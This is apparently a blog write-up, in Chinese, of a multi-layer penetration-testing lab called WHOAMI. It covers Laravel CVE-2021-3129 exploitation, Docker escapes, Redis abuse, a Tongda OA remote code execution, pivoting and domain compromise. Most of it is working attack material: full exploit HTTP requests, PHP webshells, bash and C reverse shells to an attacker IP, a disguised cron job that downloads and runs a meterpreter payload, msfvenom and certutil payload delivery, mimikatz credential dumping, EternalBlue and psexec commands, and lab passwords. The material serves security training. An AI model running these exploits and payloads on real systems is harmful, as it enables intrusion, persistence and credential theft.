WHOAMI Penetration

43 阅读10分钟

WHOAMI Penetration

参考

writeupdocker逃逸1docker逃逸2

安装

链接,提取码ci20

添加VMnet14、VMnet8,如图

1767320739927.png

各个虚拟机网络适配器一般在添加时已经成功配置好:

Ubuntu(web1):桥接(VMnet0)、VMnet8
Ubuntu(web2)、win7(PC 1):VMnet14、VMnet8
win-serv、win7(PC 2):VMnet14(断网)

由于要模拟内外网环境:

第一层:外网,攻击机与 Ubuntu(web1) 共用VMnet0
攻击机 ==> Ubuntu(web1)
第二层:第一层内网,Ubuntu(web1)、Ubuntu(web2)、win7(PC1) 共用VMnet8
Ubuntu(web1) ==> Ubuntu(web2)、win7(PC1)
第三层:第二层内网,Ubuntu(web2)、win7(PC1)、win-serv、win7(PC2) 共用VMnet14
Ubuntu(web2)、win7(PC1) ==> win-serv、win7(PC2)

故攻击机kali选择桥接模式

服务配置

Ubuntu(web 1)启动Nginx服务

sudo redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F

Ubuntu(web 2)启动docker

sudo service docker start
sudo docker start 8e172820ac78

win7 PC 1启动通达OA,并关闭防火墙,这是同一局域网ping通最快的方式

C:\MYOA\bin\AutoConfig.exe
#登录的账户为Administrator

1767843163616.png

用户信息

域用户

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA:

admin:admin657260

外网渗透

信息收集

主机发现

nmap -T4 -sV 192.168.1.0/24

1768137776407.png

再次对此IP进行扫描

nmap -T4 -sV -sC 192.168.1.59

1768138636497.png

发现开了redis服务,且发现站点81端口服务标题为Laravel

访问此站点获取详细信息1767335203073.png

通过搜索可以得知存在CVE-2021-3129

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

漏洞利用

CVE-2021-3129

下载exp

git clone https://github.com/ajisai-babu/CVE-2021-3129-exp.git

执行

cd CVE-2021-3129-exp
chmod +x *.py
python CVE-2021-3129.py -u http://192.168.1.59:81/ --exp

1768137927831.png

成功连接1768138079483.png

完整利用过程
  • 生成poc

安装phpggc

git clone https://github.com/ambionics/phpggc.git

生成POC

cd phpggc
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

1767367209577.png

"phpinfo();"就是要执行的php代码

  • 通过不合理的base64解码清空文件
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
  • 写入AA用于对齐
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}
  • 发送POC,生成的POC作为viewFile的值,此POC需要在后面加上a,防止日志生成两个POC,导致利用失败
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
  }
}
  • 清空log文件的干扰字符,仅留下POC
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
  • 使用phar://进行反序列化,这里要使用绝对路径
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.59:81
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

触发成功1767410043134.png

  • 写入webshell,重复以上步骤,将执行的代码修改为system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell1.php');
  • 生成POC
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell1.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

1768139316880.png

1768139295057.png

1768139258496.png

1768139223752.png

1768139183900.png

1768139104040.png

提权

发现进入到docker

cat /proc/self/cgroup
ls -la /.dockerenv

1768139504157.png 寻找suid文件

find / -type f -user root -perm -4000 -exec ls -la {} \; 2>/dev/null

发现可用提权文件1767442218067.png

  • 环境变量劫持提权

运行一下/home/jobs/shell

/home/jobs/shell

1767444656048.png

shell运行了ps,并且没有使用绝对路径

由于需要稳定的环境变量,需要反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.1.119/778 0>&1'

1768139736577.png

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
/home/jobs/shell

docker逃逸

privileged特权模式

当使用--privileged标志运行容器时,Docker将允许容器访问宿主机上的所有设备,并赋予容器几乎所有的内核能力(Capabilities)。

cat /proc/self/status | grep -i cap
#特权容器返回类似:
#CapInh: 0000003fffffffff
#CapPrm: 0000003fffffffff
#CapEff: 0000003fffffffff
#CapBnd: 0000003fffffffff
#CapAmb: 0000003fffffffff
ls -la /dev/ #特权容器会看到很多宿主机设备:sda, tty, loop等

1767495117361.png1767495982607.png

已经确定有特权,实施逃逸

#创建host目录在 /tmp 下
mkdir /tmp/host
#查看磁盘分区
fdisk -l
#将硬盘的第一个分区(包含根文件系统)挂载到刚创建的目录
mount /dev/sda1 /tmp/host
#改变根目录为 /tmp/host,/tmp/host => /
chroot /tmp/host

1768139887723.png

msfconsole -qx "use exploit/multi/script/web_delivery;set target 7;set payload linux/x64/meterpreter/reverse_tcp;set lhost 192.168.1.119;set lport 4159;run"
#此模块会开启一个web服务,当对方执行生成的命令后会下载payload并执行

#将生成的命令放入定时任务,先生成一个可执行脚本
echo "wget -qO vl6jB0U0 --no-check-certificate http://192.168.1.119:8085/xedJaOutO8r2eVz; chmod +x vl6jB0U0; ./vl6jB0U0& disown" > /root/.bashrc_old;chmod +x /root/.bashrc_old
#在文件中使用回车符覆盖
echo "*  *   * * *  /root/.bashrc_old;$(printf '\r')no crontab for $(whoami)$(printf '%100s')" >> /var/spool/cron/crontabs/root
(printf "*  *   * * * /root/.bashrc_old;\rno crontab for `whoami`%100c\n")|crontab -
#会话产生太多可以调节时间或者删除定时任务
sed -i '4d' /var/spool/cron/crontabs/root
sed -i '4s/^\*/&\/20/' /var/spool/cron/crontabs/root
ip a | grep 192

1768141824609.png

socket 挂载

docker守护进程负责管理所有docker对象,控制其进程,等于控制宿主机;

docker套接字,即docker.sock,docker里存在这个文件,表明这个docker可以与docker守护进程通信,那么就可以在docker里执行开一个docker的命令,这个命令是跟宿主机docker守护进程交互的,导致这个新开的docker实际是宿主机另开的一个docker,这时在新开的docker就可以通过编辑宿主机文件启动定时任务、ssh后门等方式登录宿主机

基本流程

find / -name docker.sock #如果没有,就不用试了
docker run -it --rm --privileged -v /:/mnt/host ubuntu /bin/sh
chroot /mnt/host
......
procfs 挂载

确认是否挂载procfs

find / -name core_pattern

1767539591933.png

容器在宿主机下的绝对路径 ,内核触发core dumped时会从宿主机寻找脚本并执行

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# workdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/work

1767539989035.png

kali监听

nc -lvp 4149
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4149);
    addr.sin_addr.s_addr = inet_addr("192.168.1.119");
    connect(sock, (struct sockaddr*)&addr, sizeof(addr));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    execl("/bin/bash", "bash", NULL);
}
EOF
#崩溃程序
cat > /tmp/.empty.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
int main() {
    int *p = NULL;
    *p = 1;
  }
EOF
#编译
gcc -o /tmp/exploit /tmp/exploit.c
gcc -o /tmp/.empty /tmp/.empty.c
#将workdir的路径的work替换成merged+监听脚本路径,因为内核看到的是merged目录下的内容
echo -e "| /var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/merged/tmp/exploit \rcore" > /proc/sys/kernel/core_pattern
#运行崩溃程序触发core dumped
./empty

1767588241718.png1767582222898.png

可以发现拿下的主机IP为192.168.52.20,同时也是192.168.93.10,而访问的web服务是192.168.1.59开启的,那么192.168.52.20可能是作为代理web服务的,查看nginx配置文件

ls -la /etc/nginx
cd /etc/nginx/conf.d

1767753528353.png

可以看到web1的81端口的请求转发至web2,所以之前第一次getshell的主机是web2

redis未授权

无密码访问

redis-cli -h 192.168.1.59

1767618889360.png

攻击机生成公私密钥

ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.59 -x set xxx

设置redis持久路径为 /root/.ssh

config set dir /root/.ssh/

设置持久化文件名为authorized_keys,并保存数据到文件

config set dbfilename "authorized_keys"
save

1767751413211.png

登录

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "GlobalKnownHostsFile=/dev/null" -T root@192.168.1.59 bash -i

1768142906045.png

ip a | grep 192

1768142292210.png

到目前为止,已经拿下两台ubuntu主机了,可以发现这两台机器都有两个网卡

msf路由转发进入内网

route add 192.168.52.0 255.255.255.0 1
route add 192.168.93.0 255.255.255.0 4

1768142609292.png

此时msf已经穿透两层内网了,msf通过会话1机器进入内网,后续msf所有访问52网段流量都通过会话1机器转发,92网段流量同理,但也仅限msf,别的工具不能

内网渗透

代理转发,上传ew到目标

#kali
./ew_linux64 -s rcsocks -l 1080 -e 5959 #工作模式为反向socks,本地的1080启动一个监听端口,加密端口5959
#Ubuntu 18
./ew_linux64 -s rssocks -d 192.168.1.119 -e 5959 #连接192.168.52.128的5959端口

1767777061953.png

修改proxychains4配置

grep -nv "^#" /etc/proxychains4.conf
sed -i "161c/socks5      127.0.0.1 1080" /etc/proxychains4.conf

1767875150378.png

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.2-255
set threads 5
run

1767777627708.png

也可以在连接的ubuntu 14上运行

echo 'for i in {1..254}; do ping -c1 -W1 192.168.52.$i 2>/dev/null | grep "bytes from" & done; wait; echo "完成"' > /tmp/scan.sh && chmod +x /tmp/scan.sh && /tmp/scan.sh && rm /tmp/scan.sh

1768143295978.png

可以得知192.168.52.30最有可能是要横向移动的机器

Nmap扫描

#禁ping且tcp快速扫描100个常规端口,探测版本
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

1767875870707.png发现8080端口服务,kali的火狐被我换成了chrome,使用插件配置代理,访问看看1768143803903.png1768143916703.png

是一个OA系统,点击扫码登录时,发现这是通达OA 20201767877607432.png

通达OA漏洞

通过搜索发现存在文件上传和文件包含等漏洞,先文件上传1767884209423.png

POC

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

可得图片路径 2601/716642852.jpg

发送文件包含POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 73
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2601/716642852.jpg"}&cmd=whoami

1767884672993.png

接着就是MSF启动监听

msfconsole -qx "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.119; set LPORT 4331; run"

msfvenom生成马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.119 LPORT=4331 -b '\x00' -f exe -o Desktop/m1.exe

通过burp执行命令下载后执行

certutil -urlcache -split -f http://192.168.1.119/m1.exe m1.exe

1768372423445.png1768386462612.png

成功上线1768372522389.png

执行另一个模块生成的命令

powershell_execute "powershell.exe -nop -w hidden -e WwBOAGUAdAA...OwA="

1768380256664.png

信息收集

查看IP

ipconfig /all | findstr 192

1768374417272.png

获取域用户名和域名

net user /domain

1768374538396.png

失败了,应该是没有域用户token

迁移进程获取域用户身份

ps

1768386777240.png

migrate 4904

1768386916918.png

重新获取域用户名和域名

net user /domain

1768387142406.png

域控制器数量

net group "domain controllers" /domain

1768387337299.png

定位域控制器

ping DC.whoamianony.org -4

1768387435623.png

域管理员

net group "Domain Admins" /domain

1768387523617.png

使用mimikatz

migrate 3776 #迁移到system进程
load kiwi
kiwi_cmd sekurlsa::logonPasswords

1768388356268.png1768388404636.png

第二层内网渗透

ew代理转发

#kali开启监听模式,监听1090端口,等待连接1235
./ew_linux64 -s lcx_listen -l 1090 -e 1235
#Ubuntu18建立隧道
./ew_linux64 -s lcx_slave -d 192.168.1.119 -e 1235 -f 192.168.52.30 -g 999
#win7(PC1)开启正向代理
ew_for_Win.exe -s ssocksd -l 999

或者

#kali
./ew_linux64 -s rcsocks -l 1082 -e 1112
#Ubuntu 14
./ew_linux64 -s rssocks -d 192.168.1.119 -e 1112 #连接192.168.1.119的1112端口
./ew_linux64 -s rssocks -d 192.168.92.119 -e 1112

配置proxychain4

sed -i '161a\socks5      127.0.0.1 1090' /etc/proxychains4.conf
sed -i '161 s/^/# /' /etc/proxychains4.conf
#或者
sed -i '161a\socks5      127.0.0.1 1082' /etc/proxychains4.conf
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.93.0/24
set SESSION 15
run

1768051659235.png

或者

for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.93.%i | findstr "TTL"

扫描192.168.92.40

proxychains4 nmap -Pn -sT -sV -F 192.168.93.40

1768098595661.png

漏洞执行

发现开启了445,试试永恒之蓝

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.40
set lport 4444

1768303929216.png

现在只剩下192.168.93.30了

横向移动

既然知道域控账号密码,尝试连接

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser Administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

没成功,关闭防火墙

#建立ipc连接
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
#远程创建一个名为unablefirewall的服务
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#启动创建的服务
sc \\192.168.93.30 start unablefirewall

1768305107108.png

域渗透到这里就是尽头了1768389520295.png

1768393011645.png

权限维持

这个就算了。。。前面的ssh后门和定时任务,影子用户、隐藏文件、启动目录等